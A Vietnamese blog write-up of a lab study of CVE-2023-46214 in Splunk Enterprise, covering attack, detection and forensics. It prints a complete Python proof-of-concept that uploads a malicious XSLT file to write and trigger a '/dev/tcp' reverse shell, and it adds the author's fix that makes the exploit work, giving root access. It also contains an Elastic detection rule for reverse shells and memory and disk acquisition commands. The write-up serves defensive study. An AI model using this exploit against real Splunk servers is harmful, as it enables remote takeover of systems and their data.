# CVE-2023-46214: Attack, Detect and Forensic

## Mở Bài

## Thân bài

### **Splunk Enterprise là gì?**

Trong thế giới đầy log và dữ liệu lớn Splunk không chỉ là một phần mềm, mà là một cây cầu kết nối giữa các ứng dụng, hệ thống và thiết bị hạ tầng mạng. Splunk không chỉ tìm kiếm và giám sát, mà còn là công cụ để có thể săn tìm những mối đe dọa đối với tổ chức.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FIJfiVJqm37LiEc7nd04I%2Fimage.png?alt=media&#x26;token=5189e7f7-61e5-4b58-a3b8-6dd4fe88d9f6" alt=""><figcaption></figcaption></figure>

Với khả năng linh hoạt, Splunk có thể cân nhiều loại dữ liệu khác nhau như Syslog, CSV, Apache-log, Access\_combined… điều này khiến nó trở thành công cụ mạnh mẽ. Splunk được xây dựng trên nền tảng Lucene và MongoDB khiến splunk có thể phiêu lưu trong thế giới phức tạp của log và thông tin mạng.

Là một SOC Analyst, mình đã làm quen với Splunk từ khi bước chân vào con đường làm về Giám sát bảo mật hệ thống. Công việc của mình hằng ngày có thể coi như hầu hết là làm việc với Splunk để có thể giám sát hệ thống, và phát hiện các cảnh báo bảo mật.

### Cài đặt và triển khai Splunk.

Để cài đặt Splunk, mình sử dụng môi trường Ubuntu Linux 20.04

Các bạn có thể download Splunk tại trang<https://www.splunk.com>. Sau 7749 bước đăng kí và nhập thông tin thì mình có đường link download. Ở đây mình sử dụng Splunk version 9.0.5 để thực hiện chạy CVE.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FxiyC3tt4FTas3rNI8UHY%2Fimage.png?alt=media&#x26;token=a677571f-19f3-44e9-a319-9928d30b3698" alt=""><figcaption></figcaption></figure>

Sau khi download thành công, mình tiến hành cài đặt package qua lệnh **apt install**. Splunk sẽ được cài đặt vào thư mục mặc định là **/opt/splunk**.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2F4GTE1lNoTeBkHIXlzH4r%2Fimage.png?alt=media&#x26;token=093abc76-4758-43e9-85de-5e0f8e426125" alt=""><figcaption></figcaption></figure>

Chạy lệnh **/opt/splunk/bin/splunk start—accept-license** để chấp nhận license

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FG2WhRiS0dC3uB6VM33aS%2Fimage.png?alt=media&#x26;token=71597462-02a2-4021-81df-eaaad29bb5d4" alt=""><figcaption></figcaption></figure>

Sau khi enter ‘y’ để xác nhận thì Splunk sẽ cho ta tạo credentials cho admin account.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FUNv3QEuxe59eAPkBlMMH%2Fimage.png?alt=media&#x26;token=42850dc4-89f5-4e0a-a389-20d4777781f0" alt=""><figcaption></figcaption></figure>

Okey mọi thứ đã xong. Start splunk và access vào web interface thôi.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FzvNGVboxypRKUzpClkMd%2Fimage.png?alt=media&#x26;token=40e6a8ab-5d65-49b3-9d93-5216cd4db374" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FFAPA2wARJl9HQBMnrETF%2Fimage.png?alt=media&#x26;token=89f53236-84eb-4720-8546-2a5e834924d4" alt=""><figcaption></figcaption></figure>

### **CVE-2023-46214**

Ở phần này, mình chỉ tập trung chủ yếu vào tìm hiểu sơ về cách mà CVE này khai thác và tận dụng lỗ hổng để RCE vào hệ thống và chạy POC.

Các version Splunk bị ảnh hưởng bởi CVE này là dưới 9.0.7 và 9.1.2.

Lỗ hổng này attack khai thác từ việc tải file malicious XSLT lên Splunk Enterprise có thể dẫn tới việc remote code execution (RCE).

Mình tìm hiểu về CVE-2023-46214 thông qua blogs này [Analysis of CVE-2023-46214 + PoC (hrncirik.net)](https://blog.hrncirik.net/cve-2023-46214-analysis), và xem PoC này làm những gì:

```python
#!/usr/bin/env python3

import argparse
import requests
import json

# proxies = {"http": "<http://127.0.0.1:8080>", "https": "<http://127.0.0.1:8080>"}
proxies = {}

def generate_malicious_xsl(ip, port):
    return f"""<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>" xmlns:exsl="<http://exslt.org/common>" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
        <xsl:text>sh -i &gt;&amp; /dev/tcp/{ip}/{port} 0&gt;&amp;1</xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>
"""

def login(session, url, username, password):
    login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"
    response = session.get(login_url, proxies=proxies)
    cval_value = session.cookies.get("cval", None)

    if not cval_value:
        return False

    auth_payload = {
        "cval": cval_value,
        "username": username,
        "password": password,
        "set_has_logged_in": "false",
    }

    auth_url = f"{url}/en-US/account/login"
    response = session.post(auth_url, data=auth_payload, proxies=proxies)
    return response.status_code == 200

def get_cookie(session, url):
    response = session.get(url, proxies=proxies)
    return response.status_code == 200

def upload_file(session, url, file_content, csrf_token):
    files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }

    upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"
    response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)

    try:
        text_value = json.loads(response.text)['messages'][0]['text']
        if "concatenate" in text_value:
            return False, None
        return True, text_value
    except (json.JSONDecodeError, KeyError, IndexError):
        return False, None

def get_job_search_id(session, url, username, csrf_token):
    jsid_data = {'search': f'|search test|head 1'}
    jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }
    response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)
    try:
        jsid = json.loads(response.text)['sid']
        return True, jsid
    except (json.JSONDecodeError, KeyError, IndexError):
        return False, None

def trigger_xslt_transform(session, url, jsid, text_value):
    xslt_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Splunk-Module": "Splunk.Module.DispatchingModule",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate",
        "X-Requested-With": "XMLHttpRequest",
    }
    exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"
    response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)
    return response.status_code == 200

def trigger_reverse_shell(session, url, username, jsid, csrf_token):
    runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}" ""'}
    runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"
    upload_headers = {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "X-Requested-With": "XMLHttpRequest",
        "X-Splunk-Form-Key": csrf_token,
    }
    response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)
    return response.status_code == 201

def main():
    parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')
    parser.add_argument('--url', required=True, help='Splunk instance URL')
    parser.add_argument('--username', required=True, help='Splunk username')
    parser.add_argument('--password', required=True, help='Splunk password')
    parser.add_argument('--ip', required=True, help='Reverse Shell IP')
    parser.add_argument('--port', required=True, help='Reverse Shell Port')

    args = parser.parse_args()

    session = requests.Session()

    print("[!] CVE: CVE-2023-46214")
    print("[!] Github: <https://github.com/nathan31337/Splunk-RCE-poc>")

    if not login(session, args.url, args.username, args.password):
        print("[-] Authentication failed")
        exit()

    print("[+] Authentication successful")

    print("[*] Grabbing CSRF token", end="\\r")
    if not get_cookie(session, f"{args.url}/en-US"):
        print("[-] Failed to obtain CSRF token")
        exit()

    print("[+] CSRF token obtained")

    csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)

    malicious_xsl = generate_malicious_xsl(args.ip, args.port)
    uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)

    if not uploaded:
        print("[-] File upload failed")
        exit()

    print("[+] Malicious XSL file uploaded successfully")

    jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)

    if not jsid_created:
        print("[-] Creating job failed")
        exit()

    print("[+] Job search ID obtained")

    print("[*] Grabbing new CSRF token", end="\\r")
    if not get_cookie(session, f"{args.url}/en-US"):
        print("[-] Failed to obtain CSRF token")
        exit()

    print("[+] New CSRF token obtained")

    if not trigger_xslt_transform(session, args.url, jsid, text_value):
        print("[-] XSLT Transform failed")
        exit()

    print("[+] Successfully wrote reverse shell to disk")
    if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):
        print("[-] Failed to execute reverse shell")
        exit()

    print("[+] Reverse shell executed! Got shell?")

if __name__ == "__main__":
    main()
```

Đi sơ về phân tích code 1 chút, đầu tiên là hàm `generate_malicious_xsl()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FuH4yTTKWPiT4ydERtTC5%2Fimage.png?alt=media&#x26;token=c28a8b15-04b8-4d8e-b132-91bdab1b7f6d" alt=""><figcaption></figcaption></figure>

Hàm này tạo ra một đoạn mã XSL có chức năng gửi một yêu cầu reverse shell đến máy attacker và lưu vào file `shell.sh` ở path `/opt/splunk/bin/scripts/`.

Hàm `login()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FowYsAdpQZ1YemPu22mZG%2Fimage.png?alt=media&#x26;token=d87beeee-3008-4c44-8414-bd856510efaa" alt=""><figcaption></figcaption></figure>

Hàm này đơn giản chỉ là đăng nhập vào trang Splunk sử username với password được truyền vào.

Tiếp theo là hàm `upload_file()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FsqXclrvDqvuWpukUHmJd%2Fimage.png?alt=media&#x26;token=2d46b1a8-1299-4f7b-a51c-1c4fa0a713bc" alt=""><figcaption></figcaption></figure>

Đoạn này thực hiện việc up file revershell `shell.xsl` đã tạo lên server ở path `/en-US/splunkd/__upload/indexing/preview` và gán nội dung của shell.xsl vào `text_value`.

Next, `get_job_search_id()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FIfC21r6EglsGkaBarphw%2Fimage.png?alt=media&#x26;token=af08ed44-86dd-4b3b-8c6b-3e5879e4a1e8" alt=""><figcaption></figcaption></figure>

Hàm này tóm tắt lại là gửi một yêu cầu `POST` đến **Splunk**, phân tích cú pháp phản hồi json trả về từ server, nếu thành công nó sẽ truy cập giá trị sủa `sid` và gán vào `jsid`.

`trigger_xslt_transform()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FRqzEOD50yY7vWvFhrBGy%2Fimage.png?alt=media&#x26;token=42a55ed1-4869-41d0-a483-1a251ffb6f34" alt=""><figcaption></figcaption></figure>

Sử dụng một yêu cầu GET để kích hoạt quá trình chuyển đổi XSLT thông qua endpoint **`/en-US/api/search/jobs/{jsid}/results`**.

Cuối cùng là hàm `trigger_reverse_shell()`

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FvZT8lNuYrXp3inxj2InL%2Fimage.png?alt=media&#x26;token=bbff0b4e-9476-4014-bdc2-e54e165f89a6" alt=""><figcaption></figcaption></figure>

Sử dụng một yêu cầu POST để thực hiện lệnh shell script thông qua endpoint **`/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs`**. Command runshellscript là một lệnh tìm kiếm có khả năng chạy lệnh shell trực tiếp từ một tìm kiếm Splunk.

Tóm lại workflow của PoC thực hiện như sau:

1. Xác thực với user và password để vào hệ thống Splunk
2. Tạo tệp in XSL
3. Tải tệp tin XSL lên Splunk
4. Tạo 1 job search ID để tìm kiếm sid
5. Chuyển đổi XSLT
6. Reverse shell

### Cài đặt Agent lên server chạy Splunk để lấy logs

Trước khi chạy PoC để RCE server thì mình thực hiện cài agent để lấy logs để phục vụ cho việc Detection.

Mình sử dụng Elastic Cloud để monitor và cài Auditbeat lên server.

* Download và cài đặt Auditbeat version lên server.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2F03xnuS6FaxTZDRILrvp9%2Fimage.png?alt=media&#x26;token=fbe9c6af-0c35-48bd-9168-8a41b41622de" alt=""><figcaption></figcaption></figure>

* Thêm [cloud.id](http://cloud.id) và cloud.auth vào **`/etc/auditbeat/auditbeat.yml`** để set thông tin kết nối cho Elastic Cloud:

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FEwtLEeCoeOkwHHAySFCM%2Fimage.png?alt=media&#x26;token=9233f204-f5b7-4d84-9100-9450c7311648" alt=""><figcaption></figcaption></figure>

* Setup Auditbeat

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FCh47h2CbPvhkBTTtyf6e%2Fimage.png?alt=media&#x26;token=0cc06094-82d6-4d63-ab4b-5de64f2b17ee" alt=""><figcaption></figcaption></figure>

* Start Auditbeat và check logs xem đã nhận data chưa

```jsx
sudo service auditbeat start
```

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FsCwjfK9uuK59E3yutPUR%2Fimage.png?alt=media&#x26;token=887d69c0-f9e9-4cbe-8753-bb08f395dc20" alt=""><figcaption></figcaption></figure>

Okey naiiiii.

### Run PoC

* Download PoC về bằng git clone

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FK6RCYfmiF0k32zlouijV%2Fimage.png?alt=media&#x26;token=9576d768-7e52-491f-b45e-0512a0e37428" alt=""><figcaption></figcaption></figure>

Chúng ta cần truyền parameters như Splunk URL, username Splunk, passoword Splunk, IP và Port reverse shell

Vì máy mình đang chạy local nên cần dùng ngrok để tunel tcp ra ngoài

```jsx
ngrok tcp 444
```

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FlJltEzEnT10Qq9piH5ew%2Fimage.png?alt=media&#x26;token=238d9edb-f622-42d7-995a-773fa6f4b355" alt=""><figcaption></figcaption></figure>

Tạo một socket để lắng nghe bằng netcat

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FADl3nGKmgSsyJBGWLLcQ%2Fimage.png?alt=media&#x26;token=49d2cdd4-b8eb-4540-a067-35394c7aecb5" alt=""><figcaption></figcaption></figure>

Trước khi chạy exploit mình thực hiện capture network bằng SSH và Wireshark

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FboNbGtB2WwFv0XNuxnJ9%2Fimage.png?alt=media&#x26;token=f4292979-4794-4478-a491-4288c5025e0a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FK6mFkHZZvHhLiZAJstDJ%2Fimage.png?alt=media&#x26;token=1dc58142-845a-49a2-bc02-ea0bd44e2818" alt=""><figcaption></figcaption></figure>

Nice, chạy PoC thôi

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FGktIZcyl3BUkz1KUAdvx%2Fimage.png?alt=media&#x26;token=02a6b4e6-fcc3-4e74-8fef-86f5c54b1833" alt=""><figcaption></figcaption></figure>

\[+] Authentication successful&#x20;

\[+] CSRF token obtained&#x20;

\[+] Malicious XSL file uploaded successfully

&#x20;\[+] Job search ID obtained

&#x20;\[+] New CSRF token obtained

&#x20;\[+] Successfully wrote reverse shell to disk

&#x20;\[+] Reverse shell executed!

And 1 century later

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FjgknDN6qbRc0pqIbM1II%2Fimage.png?alt=media&#x26;token=6dfadf21-100a-45ff-beb2-6d8f6a33b41e" alt=""><figcaption></figcaption></figure>

\[+] Got shell??????????? Wtf sao không lên Shell được. Ho li shit :<<<<

Mọi workflow thành công hết rồi mà sao chưa lên shell được nhỉ. Mình tiến hành check lại code và debug 7749 bước

Check xem folder `/opt/splunk/bin/scripts/` file [shell.sh](http://shell.sh) đã được load lên

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2F6uaBYe95vjMlfkOI8O92%2Fimage.png?alt=media&#x26;token=eab6ec9d-cabc-49fc-8bec-a3053ac75b15" alt=""><figcaption></figcaption></figure>

Hmmm file shell đã có nhưng tại sao không lên được mà tác giả có thể RCE???

Sau 7749 bước thì mình phát hiện do tác giả k define `/bin/bash` lên đầu file `shell.sh` nên khi thực hiện lệnh về shell thì nó bị failed

Mình thêm 2 dòng code vào hàm `generate_milicous_xsl()`

Define `#/bin/bash`

```jsx
<xsl:text>#!/bin/bash</xsl:text> #
```

\*\*`&#xa;`\*\*một ký tự xuống dòng (line feed) trong Unicode

```jsx
<xsl:text>&#xa;</xsl:text>
```

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FOJhn4lra08BUJM6byVNx%2Fimage.png?alt=media&#x26;token=d2b59efe-e163-472c-aae1-0a76433cd4a3" alt=""><figcaption></figcaption></figure>

Okay chạy lại PoC thôi.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FL4loAKAFgHM5Jf4u5S6R%2Fimage.png?alt=media&#x26;token=eed11fc9-e7c1-451c-82eb-1af02921e4a9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FIlsxXrGgSh5bygdtTeFT%2Fimage.png?alt=media&#x26;token=04886425-1b53-47db-b38d-455f3faa18ee" alt=""><figcaption></figcaption></figure>

Nice =)) Mình đã RCE thành công vào hệ thống với quyền root.

### Identification attack

#### Phát hiện sớm cuộc attack với SIEM system

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FSJG76KkliQHXG3RHXE4N%2Fimage.png?alt=media&#x26;token=7e1ee561-5e34-4799-b910-7197471f1c05" alt=""><figcaption></figcaption></figure>

Đây là logs mà hệ thống ghi được từ cuộc attack. Bắt đầu exploit từ 06:38:07 -> 06:38:37 mất khoảng 30s để exploit vào hệ thống. Logs sinh ra trên hệ thống gồm chạy **runshellscript.py và shell.sh qua process bash và python3.7.**

Với việc cài đặt rule detection [Potential Reverse Shell Activity via Terminal](https://www.elastic.co/guide/en/security/8.6/potential-reverse-shell-activity-via-terminal.html)  vào hệ thống cảnh báo, khi CVE này được chạy ta có thể phát hiện thông qua việc chạy bash process

```
process where event.type in ("start", "process_started") and
  process.name in ("sh", "bash", "zsh", "dash", "zmodload") and
  process.args : ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*", "*zsh/net/udp*") and

  /* noisy FPs */
  not (process.parent.name : "timeout" and process.executable : "/var/lib/docker/overlay*") and
  not process.command_line : ("*/dev/tcp/sirh_db/*", "*/dev/tcp/remoteiot.com/*", "*dev/tcp/elk.stag.one/*", "*dev/tcp/kafka/*", "*/dev/tcp/$0/$1*", "*/dev/tcp/127.*", "*/dev/udp/127.*", "*/dev/tcp/localhost/*") and
  not process.parent.command_line : "runc init"
```

### Digital Forensics

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FKFKssR1h71XHZcn29YWH%2Fimage.png?alt=media&#x26;token=78325022-b0bd-4e15-845e-229cd896559d" alt=""><figcaption></figcaption></figure>

#### Thu thập memory

Để thu thập memory dump, mình viết bash script sử dung LiME để dump và cài đặt các package cần thiết.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FGOmOqrvoJYBEYnJM0YvJ%2Fimage.png?alt=media&#x26;token=ad18d0f4-aec9-4163-85b2-31580b1e5485" alt=""><figcaption></figcaption></figure>

Cấp quyền cho script và tiến hành dump.

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FOL1LtkndBSTEiMxcuO3e%2Fimage.png?alt=media&#x26;token=7d5fe168-5b0d-4eee-b4ca-ab39fc6eb636" alt=""><figcaption></figcaption></figure>

Mình lưu file memory dump vào thư mục **evidence + timestamp dump và có cal hash của file mem để đảm bảo tính toàn vẹn của evidence.**

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FoGr3HP73fiBS8SYeik7P%2Fimage.png?alt=media&#x26;token=364da2f1-f101-457f-b229-bc5589c6307c" alt=""><figcaption></figcaption></figure>

Sử dụng lệnh scp để tải file từ server xuống local để thực hiện forensic.

```
scp -r root@188.166.234.203:/root/evidence_20231202_091131/ ./
```

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2F2ckZNTnYfGuVhfHKE6Mc%2Fimage.png?alt=media&#x26;token=7511bd4b-27cc-4cc5-8ad7-9d3711a1af1e" alt=""><figcaption></figcaption></figure>

#### Thu thập Disk image

Mình thực hiện việc sao lưu một phân vùng (`/dev/vda1`) bằng cách sử dụng `dd`, nén dữ liệu bằng `gzip` ghi vào file backup.gz

```
ssh root@188.166.234.203 "dd if=/dev/vda1 bs=4M | gzip -9 -" | pv -ptebar -s $((25 * 1024 * 1024 * 1024)) | dd of=backup.gz
```

<figure><img src="https://2054103033-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fail2yiGMsrsQFaCSEJQG%2Fuploads%2FqO82dsPIkIzYml9L7ntT%2Fimage.png?alt=media&#x26;token=827c1a42-2a31-45c6-90a0-7c615a039524" alt=""><figcaption></figcaption></figure>

tobecontinue

## Kết bài

![Untitled](https://prod-files-secure.s3.us-west-2.amazonaws.com/d3dfca9a-0219-4e0a-b396-f6b6974e7f16/80667438-0ae1-4b9d-9553-b8cb0044cbcc/Untitled.png)

#### Collection
